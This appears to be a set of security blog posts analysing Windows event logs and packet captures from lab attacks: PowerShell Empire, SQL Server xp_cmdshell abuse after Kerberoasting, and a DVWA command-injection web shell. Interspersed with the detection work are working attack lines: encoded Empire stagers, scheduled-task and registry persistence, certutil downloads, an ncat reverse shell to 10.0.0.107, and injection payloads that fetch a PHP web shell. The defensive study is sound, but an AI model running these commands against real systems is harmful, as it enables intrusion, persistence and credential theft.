Beginning PowerShell Empire - Log Analysis

Looking at the logs from some of this activity as it was being performed during my learning of Powershell Empire.

First up, when the file is executed from the browser, we see from the Security Event Log that chrome.exe created the cmd.exe process with the command line arguments which includes the welcome.bat file. 

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x700AD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1938
	Mandatory Label:		Mandatory Label\Medium Mandatory Level
	Creator Process ID:	0x15a4
	Creator Process Name:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
	Process Command Line:	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\sec560\Downloads\welcome.bat" "

...

We then see cmd.exe spawns powershell, to read the contents of the welcome.bat file.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x700AD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbd0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1938
	Mandatory Label:		Mandatory Label\Medium Mandatory Level
	Creator Process ID:	0x10b8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"  -nol -nop -ep bypass "[IO.File]::ReadAllText('C:\Users\sec560\Downloads\welcome.bat')|iex" 
...

Next we see the contents of welcome.bat being executed.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x700AD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe10
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1938
	Mandatory Label:		Mandatory Label\Medium Mandatory Level
	Creator Process ID:	0xbd0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAUwBpAG8ATgBUAGEAQgBsAEUALgBQAFMAVgBFAHIAcwBpAG8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGYAXQAuAEEAcwBTAEUAbQBCAGwAWQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4A...AEUAcgArACQAVAApADsAJABJAHYAPQAkAEQAYQBUAGEAWwAwAC4ALgAzAF0AOwAkAEQAQQB0AEEAPQAkAGQAYQBUAGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUATgBHAHQAaABdADsALQBqAE8ASQBuAFsAQwBIAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
...

Now that access has been gained, looking to see what the other commands look like when a request is made against the system.

Surprisingly, when the whoami command was run from within the powershell-empire interactive environment, I did not see any entry in the log.

While no result was returned when whoami was run within the interactive environment, once I dropped down to Shell, I was able to see entry in the logs.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x700AD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x14d0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1938
	Mandatory Label:		Mandatory Label\Medium Mandatory Level
	Creator Process ID:	0xe10
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\cmd.exe" /c "whoami /groups"

For the activity to enumerate the local administrators group, we see the following in the log.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x700AD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x848
	New Process Name:	C:\Windows\System32\net1.exe
	Token Elevation Type:	%%1938
	Mandatory Label:		Mandatory Label\Medium Mandatory Level
	Creator Process ID:	0xa88
	Creator Process Name:	C:\Windows\System32\net.exe
	Process Command Line:	C:\WINDOWS\system32\net1 localgroup administrators
...

Note, if you look closely, you will see it says net1.exe, rather than net.exe. This is because net.exe spawns net1.exe to perform this task.

For the BypassUAC, I saw the following entry in the log, which I believe is associated with the bypass.

First, I see consent.exe is being executed.

A new process has been created.

Creator Subject:
	Security ID:		SYSTEM
	Account Name:		SEC560STUDENT$
	Account Domain:		SEC560
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x36c
	New Process Name:	C:\Windows\System32\consent.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x148
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	consent.exe 328 318 00000277C25C97A0

...

This is then followed by debug.bat being run via cmd.exe.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf0c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb88
	Creator Process Name:	C:\Windows\System32\cliconfg.exe
	Process Command Line:	"C:\WINDOWS\system32\cmd.exe" /C "C:\Users\sec560\AppData\Local\Temp\debug.bat"

I also see  ...

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1104
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf0c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	powershell  -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAFIAUwBJAG8AbgBUAEEAQgBsAGUALgBQAFMAVgBFAFIAUwBpAG8AbgAuAE0AQQBKAG8AcgAgAC0ARwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGYAXQAuAEEAcwBTAEUAbQBCAGwAWQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4A...AFQAcABCAFIAawBPAC8AZwA9ACIAKQA7ACQAZABBAFQAQQA9ACQAQgA0ADgARQAuAEQAbwBXAG4AbABPAEEAZABEAGEAdABBACgAJABTAGUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAEQAQQBUAGEAWwA0AC4ALgAkAEQAYQBUAGEALgBMAGUAbgBHAFQAaABdADsALQBqAE8AaQBuAFsAQwBoAEEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==

The above then follows the deletion of the debug.dat file.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x140c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf0c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	cmd  /c del "C:\Users\sec560\AppData\Local\Temp\debug.bat"

Similar to the previous example, I noticed that consent.exe was invoked right before the following was seen in the log.

A new process has been created.

Creator Subject:
	Security ID:		SYSTEM
	Account Name:		SEC560STUDENT$
	Account Domain:		SEC560
	Logon ID:		0x3E7

Target Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Process Information:
	New Process ID:		0x1670
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe10
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAHIAcwBpAG8ATgBUAEEAYgBsAEUALgBQAFMAVgBlAFIAcwBpAE8AbgAuAE0AYQBKAG8AcgAgAC0AZwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGYAXQAuAEEAcwBTAEUAbQBCAGwAWQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4A...AVwBDADEAWQBuAGYAQQA4AFkAPQAiACkAOwAkAEQAYQBUAEEAPQAkAEIANAA4AEUALgBEAG8AVwBuAGwAbwBBAGQARABBAHQAQQAoACQAUwBlAFIAKwAkAFQAKQA7ACQAaQB2AD0AJABEAEEAdABBAFsAMAAuAC4AMwBdADsAJABkAGEAVABhAD0AJABEAGEAdABhAFsANAAuAC4AJABEAEEAdABBAC4AbABlAE4AZwB0AEgAXQA7AC0ASgBPAEkATgBbAEMAaABhAFIAWwBdAF0AKAAmACAAJABSACAAJABEAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA= 

Something else I noticed, is they both ran whoami /groups before executing their commands. Maybe this is just a coincidence or something other artifact of the system. Who knows. Not enough time to dig into this at this point.

Below shows what is seen when attempting to access the mimilsa.log file.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd6c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1104
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\cmd.exe" /c "type c:\windows\system32\mimilsa.log"

As the command was run to perform packet capture, we see the following in the logs.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1030
	New Process Name:	C:\Windows\System32\netsh.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1104
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\netsh.exe" trace start capture=yes traceFile=c:\tmp\capture.etl maxSize=1MB

It looks like when netsh.exe runs, it runs the dispdiag.exe and creates a file named dispdiag_start.dat.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x754
	New Process Name:	C:\Windows\System32\dispdiag.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1030
	Creator Process Name:	C:\Windows\System32\netsh.exe
	Process Command Line:	C:\WINDOWS\system32\dispdiag.exe -out dispdiag_start.dat

...

Looking at the schedule task being created.

A new process has been created.

Creator Subject:
	Security ID:		SEC560STUDENT\sec560
	Account Name:		sec560
	Account Domain:		SEC560STUDENT
	Logon ID:		0x7007D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1570
	New Process Name:	C:\Windows\System32\schtasks.exe
	Token Elevation Type:	%%1937
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1104
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\schtasks.exe" /Create /F /RU system /SC ONLOGON /TN SecurityNik-Empire-Schtask /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""

Looking to the registry, we see ...

C:\WINDOWS\system32>reg query HKLM\Software\Microsoft\Network /v debug                                                                                        HKEY_LOCAL_MACHINE\Software\Microsoft\Network                                      debug    REG_SZ    SQBmACgAJABQAFMAVgBFAFIAUwBJAE8AbgBUAGEAQgBMAGUALgBQAFMAVgBFAHIAcwBpAE8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABSAEUARgA9AFsAUgBFAGY 
...
JAFYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAQQBUAEEAPQAkAGQAYQB0AEEAWwA0AC4ALgAkAEQAYQB0AEEALgBsAGUATgBnAFQASABdADsALQBqAG8ASQBuAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==  

Confirming the schtasks was created.

C:\>schtasks /query /TN SecurityNik-Empire-Schtask   
Folder: \    
TaskName                                 Next Run Time          Status  
======================================== ====================== ===============
SecurityNik-Empire-Schtask               N/A                    Ready          

Looking at the registry after the registry persistence was added.

C:\WINDOWS\system32>reg query HKLM\software\Microsoft\Windows\CurrentVersion /v debug    
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion                       debug    REG_SZ    SQBGACgAJABQAFMAVgBFAFIAUwBJAE8AbgBUAEEAYgBsAEUALgBQAFMAVgBFAFIAUwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwAp...QQB0AEEAWwAwAC4ALgAzAF0AOwAkAEQAYQB0AEEAPQAkAGQAYQB0AEEAWwA0AC4ALgAkAEQAYQBUAEEALgBsAEUAbgBHAFQAaABdADsALQBqAE8AaQBOAFsAQwBoAEEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA== 

For the WMI persistence, using autorunsc.exe from Sysinternals shows the following.

C:\Tools\SysinternalsSuite>autorunsc.exe  -nobanner  *  | more

   Updater  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$x=$((gp HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion Debug).Debug);powershell -Win Hidden -enc $x"  File not found: $x=$((gp HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion Debug).Debug);powershell -Wrin Hidden -enc $x      

There is so much we can see from the logs. However, I just wanted a sneak peak.

That's it for this post. See you in the next post, where we look at things from the packets perspective.

Other posts in this series:

Beginning Powershell Empire - The Attack in 10 steps
Powershell Empire Log Analysis
Powershell Empire Packet Analysis
Powershell Empire Detection with Snort
Powershell Empire - Detection with Zeek

Analyzing the logs and packets from a post Kerberoasting activity

In the previous post, I did the Kerberoasting attack. The log entry at the time of running impacket-mssqlclient did not show me anything that I thought was immediately interesting. Actually it instead surprised me. I was really hoping to see information such as the Workstation Name, Source Network Address, Source Port. Especially when the Logon Type is reported as 3 below.

An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		SECURITYNIK\sql-service
	Account Name:		sql-service
	Account Domain:		SECURITYNIK
	Logon ID:		0x4F4F11
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	NTLM V2
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.
...

Looking at another entry did peek my interest though. Why would sqlservr.exe be spawning cmd.exe with command line "C:\Windows\system32\cmd.exe" /c whoami. This is definitely more interesting than the above entry.

A new process has been created.

Creator Subject:
	Security ID:		NT SERVICE\MSSQL$SQLEXPRESS
	Account Name:		MSSQL$SQLEXPRESS
	Account Domain:		NT Service
	Logon ID:		0x1718F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x123c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa04
	Creator Process Name:	C:\Program Files\Microsoft SQL Server\MSSQL13.SQLEXPRESS\MSSQL\Binn\sqlservr.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c whoami

Next up, we see cmd.exe executing the whoami.

A new process has been created.

Creator Subject:
	Security ID:		NT SERVICE\MSSQL$SQLEXPRESS
	Account Name:		MSSQL$SQLEXPRESS
	Account Domain:		NT Service
	Logon ID:		0x1718F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1724
	New Process Name:	C:\Windows\System32\whoami.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x123c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	whoami

Here we see the Domain Admins group being enumerated.

A new process has been created.

Creator Subject:
	Security ID:		NT SERVICE\MSSQL$SQLEXPRESS
	Account Name:		MSSQL$SQLEXPRESS
	Account Domain:		NT Service
	Logon ID:		0x1718F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x360
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa04
	Creator Process Name:	C:\Program Files\Microsoft SQL Server\MSSQL13.SQLEXPRESS\MSSQL\Binn\sqlservr.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c net groups "Domain Admins"

Here we see the hosts downloading ncat.exe via Certutil.

A new process has been created.

Creator Subject:
	Security ID:		NT SERVICE\MSSQL$SQLEXPRESS
	Account Name:		MSSQL$SQLEXPRESS
	Account Domain:		NT Service
	Logon ID:		0x1718F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1598
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa04
	Creator Process Name:	C:\Program Files\Microsoft SQL Server\MSSQL13.SQLEXPRESS\MSSQL\Binn\sqlservr.exe
	Process Command Line:	"C:\Windows\system32\cmd.exe" /c certutil -URLCache -F http://10.0.0.107/ncat.exe %TEMP%\ncat.exe

Here is what it looked like when the ncat was executed.

A new process has been created.

Creator Subject:
	Security ID:		NT SERVICE\MSSQL$SQLEXPRESS
	Account Name:		MSSQL$SQLEXPRESS
	Account Domain:		NT Service
	Logon ID:		0x1718F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\ncat.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1578
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\ncat.exe  10.0.0.107 443 --ssl --exec cmd.exe

While I was looking at the logs to see what transpired, I was also capturing packets using the following:

┌──(root💀securitynik)-[~/packets]
└─# tcpdump -nnt --interface eth0 -w impacket-sql.pcap '(host 10.0.0.5) and not(arp or ip6 or port(1900))' -vv
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C2841 packets captured
2841 packets received by filter
0 packets dropped by kernel

Interestingly, I thought most of the communication was encrypted but I was wrong. As I looked at a few packets, I could see the queries I executed.

Looking at the type of packets captured.

┌──(root💀securitynik)-[~/packets]
└─# tshark -n -r impacket-sql.pcap -q -z io,phs

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:2841 bytes:4068111
  ip                                     frames:2841 bytes:4068111
    tcp                                  frames:2835 bytes:4066653
      tds                                frames:90 bytes:460551
        _ws.malformed                    frames:7 bytes:2500
        tcp.segments                     frames:2 bytes:12052
      tds.prelogin                       frames:1 bytes:320
        tds.prelogin                     frames:1 bytes:320
      data                               frames:135 bytes:8100
      http                               frames:4 bytes:11948
        media                            frames:2 bytes:11564
          tcp.segments                   frames:2 bytes:11564
      tls                                frames:827 bytes:121673
    udp                                  frames:6 bytes:1458
      nbdgm                              frames:6 bytes:1458
        smb                              frames:6 bytes:1458
          mailslot                       frames:6 bytes:1458
            browser                      frames:6 bytes:1458
===================================================================

Looking at the tds messages, first up the "type == 1"

┌──(root💀securitynik)-[~/packets]
└─# tshark -n -r impacket-sql.pcap -Y 'tds.type == 1'
   20   9.933875   10.0.0.107 → 10.0.0.5     TDS 316 SQL batch
   24  17.281790   10.0.0.107 → 10.0.0.5     TDS 132 SQL batch
   92 973.952996   10.0.0.107 → 10.0.0.5     TDS 170 SQL batch
   96 981.491834   10.0.0.107 → 10.0.0.5     TDS 168 SQL batch
  100 987.357432   10.0.0.107 → 10.0.0.5     TDS 132 SQL batch
  104 996.015944   10.0.0.107 → 10.0.0.5     TDS 138 SQL batch
  ....

Looking at some of the responses, "type == 4"

┌──(root💀securitynik)-[~/packets]
└─# tshark -n -r impacket-sql.pcap -Y 'tds.type == 4'
    6   0.101021     10.0.0.5 → 10.0.0.107   TDS 91 Response
   15   0.111340     10.0.0.5 → 10.0.0.107   TDS 333 Response[Malformed Packet]
   17   0.129048     10.0.0.5 → 10.0.0.107   TDS 473 Response
   22  10.135335     10.0.0.5 → 10.0.0.107   TDS 666 Response
   26  17.489552     10.0.0.5 → 10.0.0.107   TDS 173 Response
   94 974.032998     10.0.0.5 → 10.0.0.107   TDS 294 Response
  ....

Looking at some of these messages, I see the commands I executed.

┌──(root💀securitynik)-[~/packets]
└─# tshark -n -r impacket-sql.pcap -Y '(tds.type == 1) || (tds.type == 4)' -T fields -e tds.type -e tds.query -E header=y | moreRunning as user "root" and group "root". This could be dangerous.
tds.type        tds.query
4
4
4
1       exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFI
GURE;\r\n
4
1       exec master..xp_cmdshell 'whoami'\r\n
1       exec master..xp_cmdshell 'net users'\r\n
1       exec master..xp_cmdshell 'net groups "Domain Admins"'\r\n
1       exec master..xp_cmdshell 'certutil -URLCache -F http://10.0.0.107/ncat.exe %TEMP%\ncat.exe'\r\n
1       exec master..xp_cmdshell 'cmd.exe /c "%temp%\ncat.exe 10.0.0.107 443 --ssl --exec cmd.exe"'\r\n

I was able to see the responses also. However, in most cases it does not really make sense to post them here.

Ok, that's it for me and this post.

Beginning Web Shell - The basics and some detection - Hack and Detect

Recently, there has been lots of press on web shells, so I figure I should take some time to dig into it a bit more. Microsoft announced in February this year, that it had seen about 140,000 encounters of these threats on a monthly basis. This is just about double what was seen in 2020 at 77,000 encounters per month.

So what are web shells? Let's quote from the Microsoft article "A web shell is typically a small piece of malicious code written in typical web development programming languages (e.g., ASP, PHP, JSP) that attackers implant on web servers to provide remote access and code execution to server functions. Web shells allow attackers to run commands on servers to steal data or use the server as launch pad for other activities like credential theft, lateral movement, deployment of additional payloads, or hands-on-keyboard activity, while allowing attackers to persist in an affected organization."

I always knew of it but never really took the time to go to any depth to really learn about it. This post is me digging a bit deeper from both the basics of it, as well as its detection. You might be wondering, why I am not writing about its prevention also. The links in the reference sections have good guidance on prevention.

Another reason for me doing this blog, is to show the importance of having full packet captures, to augment your logging capabilities. As you will see in this post, you will be able to see more via the packets, than you would be able to see from the events. Obviously in this case the packets are using clear text protocol, hence the ease of visibility.

Without further ado, let's get going.

First up, to take advantage of a web shell, we need to have a vulnerable web application. I'm using Dam Vulnerable Web App (DVWA). While DVWA allows us to take advantage of a file upload vulnerability. Instead I will use a "Command Injection" vulnerability. To get to the "Command Injection", I needed to login. As a result, I used Burp to intercept the request and steal the cookie to reuse with Curl.

Note, I choose to use Curl in these examples, as I've already done Command Injection in DVWA and its detection, as you would be able to see from two links in the reference section. Use those links as a starting point for this if you wish.

First up, craft a POST request with Curl. The request has two parameters "ip" and "submit". The IP parameter contains the vulnerability. Thus rather than just putting an IP address, I am able to put the IP address "&& dir". The "%26%26" represents "&&" and "%20" represents space.

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --data "ip=127.0.0.1+%20%26%26%20+dir&Submit=Submit" --request POST 'http://10.0.0.110/dvwa/vulnerabilities/exec/'

When the above is run, we see:

                <pre>
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
...
Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/01/2021  10:34 PM    <DIR>          .
09/01/2021  10:34 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
02/05/2018  02:52 AM    <DIR>          source
               1 File(s)          1,830 bytes
               4 Dir(s)  20,911,034,368 bytes free
</pre>

From above, it shows, not only was the "ping" successful but the "dir" command was also. 

Looking at the Apache access.log file, shows ...

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [01/Sep/2021:22:21:40 -0400] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5887 "-" "curl/7.74.0"

... nothing special about above. Unless you had concerns around "curl/7.74.0" being used to access your site.

Time to take advantage of the command injection vulnerability to upload a basic .php script.

<?php
	// Who is this web application running as
	system("whoami");
?>

Start up a webserver on my attacking machine.

┌──(root💀securitynik)-[~]
└─# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...

Taking advantage of the vulnerability in the web application to download the file using the built in "Certutil" command in Windows. Living off the Land (LOL) to download the file and save it as "main.php". 

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --data "ip=127.0.0.1+%26%26+certutil+-URLcache+-f+http%3A%2F%2F10.0.0.101:443%2FbasicWebshell.php+main.php+%26%26+dir+main.php&Submit=Submit" --request POST 'http://10.0.0.110/dvwa/vulnerabilities/exec/' 

Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
...
****  Online  ****
CertUtil: -URLCache command completed successfully.
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/01/2021  10:54 PM                74 main.php
               1 File(s)             74 bytes
               0 Dir(s)  20,909,109,248 bytes free
</pre>

Nice, the "main.php" file is on the system. What now shows up in the "access.log" file?

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [01/Sep/2021:23:01:43 -0400] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5737 "-" "curl/7.74.0"

Once again, nothing stands out.

We also see the Web Application making a request back to our Web Server on port 443:

┌──(root💀securitynik)-[~]
└─# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...
10.0.0.110 - - [01/Sep/2021 22:54:56] "GET /basicWebshell.php HTTP/1.1" 200 -

Time to access the uploaded "main.php" file. Remember, I created it as "basicWebshell.php" but stored it as "main.php" on the server. Blending in, somewhat

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' securitynik-win\securitynik

Above shows the computername is "securitynik-win" and the logged in user is "securitynik". That is progress for the first script. What does the logs show?

